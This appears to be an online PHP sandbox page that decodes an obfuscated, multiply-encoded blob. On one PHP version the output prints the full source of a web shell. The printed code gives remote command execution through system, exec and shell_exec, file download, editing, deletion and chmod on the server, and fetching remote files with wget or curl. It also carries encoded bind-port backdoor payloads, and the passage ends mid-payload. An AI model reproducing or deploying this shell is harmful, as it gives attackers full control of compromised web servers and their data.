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"; $another = gzinflate(str_rot13(base64_decode(str_rot13(gzinflate(base64_decode($another)))))); // var_dump($var); var_dump($another); ?>
Output for 5.4.0 - 5.6.28, 7.0.0 - 7.1.0
Warning: gzinflate(): data error in /in/nSYPs on line 7 Warning: gzinflate(): data error in /in/nSYPs on line 7 bool(false)
Output for hhvm-3.10.0 - 3.12.0
Warning: data error in /in/nSYPs on line 7 Warning: data error in /in/nSYPs on line 7 bool(false)
Output for 5.3.29
string(38718) "@ini_set('log_errors',0); @ini_set('output_buffering',0); if(isset($_GET['dl']) && ($_GET['dl'] != "")){ $file = $_GET['dl']; $filez = @file_get_contents($file); header("Content-type: application/octet-stream"); header("Content-length: ".strlen($filez)); header("Content-disposition: attachment; filename=\"".basename($file)."\";"); echo $filez; exit; } elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){ $file = $_GET['dlgzip']; $filez = gzencode(@file_get_contents($file)); header("Content-Type:application/x-gzip\n"); header("Content-length: ".strlen($filez)); header("Content-disposition: attachment; filename=\"".basename($file).".gz\";"); echo $filez; exit; } // view image if(isset($_GET['img'])){ @ob_clean(); $d = magicboom($_GET['y']); $f = $_GET['img']; $inf = @getimagesize($d.$f); $ext = explode($f,"."); $ext = $ext[count($ext)-1]; @header("Content-type: ".$inf["mime"]); @header("Cache-control: public"); @header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); @header("Cache-control: max-age=".(60*60*24*7)); @readfile($d.$f); exit; } // server software $software = getenv("SERVER_SOFTWARE"); // check safemode if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE; // uname -a $system = @php_uname(); // mysql function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:#DD4736'>OFF</font></b>";}} function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}} function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}} function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}} function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}} // check os if(strtolower(substr($system,0,3)) == "win") $win = TRUE; else $win = FALSE; // change directory if(isset($_GET['y'])){ if(@is_dir($_GET['view'])){ $pwd = $_GET['view']; @chdir($pwd); } else{ $pwd = $_GET['y']; @chdir($pwd); } } //hdd function convertByte($s) { if($s >= 1073741824) return sprintf('%1.2f',$s / 1073741824 ).' GB'; elseif($s >= 1048576) return sprintf('%1.2f',$s / 1048576 ) .' MB'; elseif($s >= 1024) return sprintf('%1.2f',$s / 1024 ) .' KB'; else return $s .' B'; } // username, id, shell prompt and working directory if(!$win){ if(!$user = rapih(exe("whoami"))) $user = ""; if(!$id = rapih(exe("id"))) $id = ""; $prompt = $user." \$ "; $pwd = @getcwd().DIRECTORY_SEPARATOR; } else { $user = @get_current_user(); $id = $user; $prompt = $user." &gt;"; $pwd = realpath(".")."\\"; // find drive letters $v = explode("\\",$d); $v = $v[0]; foreach (range("A","Z") as $letter) { $bool = @is_dir($letter.":\\"); if ($bool) { $letters .= "<a href=\"?y=".$letter.":\\\">[ "; if ($letter.":" != $v) {$letters .= $letter;} else {$letters .= "<span class=\"gaya\">".$letter."</span>";} $letters .= " ]</a> "; } } } function testoracle() { if (function_exists('ocilogon')) { return showstat("on"); } else { return showstat("off"); } } function testmssql() { if (function_exists('mssql_connect')) { return showstat("on"); } else { return showstat("off"); } } function getrealip(){ if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip=$_SERVER['HTTP_CLIENT_IP']; }elseif (!empty($SERVER['HTTP_X_FORWARDED_FOR'])) //TO CHEK IP IS PASS FROM PROXY { $ip=$_SERVER['HTTP_X_FORWARDED_FOR']; }else { $ip=$_SERVER['REMOTE_ADDR']; } return $ip; } function showdisablefunctions() { if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:#DD4736'><b>".$disablefunc."</b></span>"; } else { return "<span style='color:#00FF00'><b>NONE</b></span>"; } } if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE; else $posix = FALSE; // server ip $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]); // your ip ;-) $my_ip = $_SERVER['REMOTE_ADDR']; $admin_id=$_SERVER['SERVER_ADMIN']; $bindport = "13123"; $bindport_pass = "b374k"; // separate the working direcotory $pwds = explode(DIRECTORY_SEPARATOR,$pwd); $pwdurl = ""; for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){ $pathz = ""; for($j = 0 ; $j <= $i ; $j++){ $pathz .= $pwds[$j].DIRECTORY_SEPARATOR; } $pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>"; } // rename file or folder if(isset($_POST['rename'])){ $old = $_POST['oldname']; $new = $_POST['newname']; @rename($pwd.$old,$pwd.$new); $file = $pwd.$new; } if(isset($_POST['chmod'])){ $name = $_POST['name']; $value = $_POST['newvalue']; if (strlen($value)==3){ $value = 0 . "" . $value;} @chmod($pwd.$name,octdec($value)); $file = $pwd.$name;} if(isset($_POST['chmod_folder'])){ $name = $_POST['name']; $value = $_POST['newvalue']; if (strlen($value)==3){ $value = 0 . "" . $value;} @chmod($pwd.$name,octdec($value)); $file = $pwd.$name;} ////////////////////////////////// // print useful info $buff = "Software : <b>".$software."</b><br />"; $buff .= "System OS : <b>".$system."</b><br />"; if($id != "") $buff .= "ID : <b>".$id."</b><br />"; $buff .= "PHP Version : <b>".phpversion()."</b> on <b>".php_sapi_name()."</b><br />"; $buff .= "Server ip : <b>".$server_ip."</b> <span class=\"gaya\"> | </span> Your ip Surving : <b><font style='color:#DD4736'>".$my_ip."</font></b><span class=\"gaya\"> | </span> Your Real ip : <b><a href='http://www.dnsstuff.com/tools?runFromMain=".getrealip()."&toolType=traceroute' target='_blank'><font style='color:#DD4736'>".getrealip()."<font></a></b><span class=\"gaya\"> | </span> Admin : <b>".$admin_id."</b><br />"; $buff .= "Free Disk: "."<span style='color:#00FF1E'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />"; if($safemode) $buff .= "Safemode: <span class=\"gaya\"><b>ON</b></span><br />"; else $buff .= "Safemode: <span class=\"gaya\"><b>OFF</b></span><br />"; $buff .= "Disabled Functions: ".showdisablefunctions()."<br />"; $buff .= "MySQL: ".testmysql()."&nbsp;|&nbsp;MSSQL: ".testmssql()."&nbsp;|&nbsp;Oracle: ".testoracle()."&nbsp;|&nbsp;Perl: ".testperl()."&nbsp;|&nbsp;cURL: ".testcurl()."&nbsp;|&nbsp;WGet: ".testwget()."<br>"; $buff .= "<font color=00ff00 ><b>".$letters."&nbsp;&gt;&nbsp;".$pwdurl."</b></font>"; function rapih($text){ return trim(str_replace("<br />","",$text)); } function magicboom($text){ if (!get_magic_quotes_gpc()) { return $text; } return stripslashes($text); } function showdir($pwd,$prompt){ $fname = array(); $dname = array(); if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE; else $posix = FALSE; $user = "????:????"; if($dh = @scandir($pwd)){ foreach($dh as $file){ if(is_dir($file)){ $dname[] = $file; } elseif(is_file($file)){ $fname[] = $file; } } } else{ if($dh = @opendir($pwd)){ while($file = @readdir($dh)){ if(@is_dir($file)){ $dname[] = $file; } elseif(@is_file($file)){ $fname[] = $file; } } @closedir($dh); } } sort($fname); sort($dname); $path = @explode(DIRECTORY_SEPARATOR,$pwd); $tree = @sizeof($path); $parent = ""; $buff = " <form action=\"?y=".$pwd."&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\"> <table class=\"cmdbox\" style=\"width:50%;\"> <tr><td><b>$prompt</b></td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr> </form> <form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <tr><td><b>view file/folder</b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr> </form></table><table class=\"explore\"> <tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr> "; if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR; else $parent = $pwd; foreach($dname as $folder){ if($folder == ".") { if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($folder)); $group=@posix_getgrgid(@filegroup($folder)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else { $owner = $user; } $buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td> <td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td> <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\"> <a href=\"?y=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span> <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" /> </form></td> </tr> "; } elseif($folder == "..") { if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($folder)); $group=@posix_getgrgid(@filegroup($folder)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else { $owner = $user; } $buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'> $folder</a></td><td>LINK</td> <td style=\"text-align:center;\">".$owner."</td> <td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td> <td><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span> <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" /> </form> </td></tr>"; } else { if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($folder)); $group=@posix_getgrgid(@filegroup($folder)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else { $owner = $user; } $buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ $folder ]</b></a> <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" /> </form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td> <td><center> <a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a> <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" /> <input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td> <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;fdelete=".$pwd.$folder."\">delete</a></td></tr>"; } } foreach($fname as $file){ $full = $pwd.$file; if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($folder)); $group=@posix_getgrgid(@filegroup($folder)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else { $owner = $user; } $buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a> <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" /> </form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center> <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a> <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" /> <input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td> <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td> <td><a href=\"?y=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$full\">delete</a> | <a href=\"?y=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gzip</a>)</td></tr>"; } $buff .= "</table>"; return $buff; } function ukuran($file){ if($size = @filesize($file)){ if($size <= 1024) return $size; else{ if($size <= 1024*1024) { $size = @round($size / 1024,2);; return "$size kb"; } else { $size = @round($size / 1024 / 1024,2); return "$size mb"; } } } else return "???"; } function exe($cmd){ if(function_exists('system')) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('exec')) { @exec($cmd,$results); $buff = ""; foreach($results as $result){ $buff .= $result; } return $buff; } elseif(function_exists('passthru')) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('shell_exec')){ $buff = @shell_exec($cmd); return $buff; } } function tulis($file,$text){ $textz = gzinflate(base64_decode($text)); if($filez = @fopen($file,"w")) { @fputs($filez,$textz); @fclose($file); } } function ambil($link,$file) { if($fp = @fopen($link,"r")){ while(!feof($fp)) { $cont.= @fread($fp,1024); } @fclose($fp); $fp2 = @fopen($file,"w"); @fwrite($fp2,$cont); @fclose($fp2); } } function which($pr){ $path = exe("which $pr"); if(!empty($path)) { return trim($path); } else { return trim($pr); } } function download($cmd,$url){ $namafile = basename($url); switch($cmd) { case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break; case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break; case 'wfread' : ambil($wurl,$namafile);break; case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break; case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break; case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break; case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break; default: break; } return $namafile; } function get_perms($file) { if($mode=@fileperms($file)){ $perms=''; $perms .= ($mode & 00400) ? 'r' : '-'; $perms .= ($mode & 00200) ? 'w' : '-'; $perms .= ($mode & 00100) ? 'x' : '-'; $perms .= ($mode & 00040) ? 'r' : '-'; $perms .= ($mode & 00020) ? 'w' : '-'; $perms .= ($mode & 00010) ? 'x' : '-'; $perms .= ($mode & 00004) ? 'r' : '-'; $perms .= ($mode & 00002) ? 'w' : '-'; $perms .= ($mode & 00001) ? 'x' : '-'; return $perms; } else return "??????????"; } function clearspace($text){ return str_replace(" ","_",$text); } // net tools $port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf"; $port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg 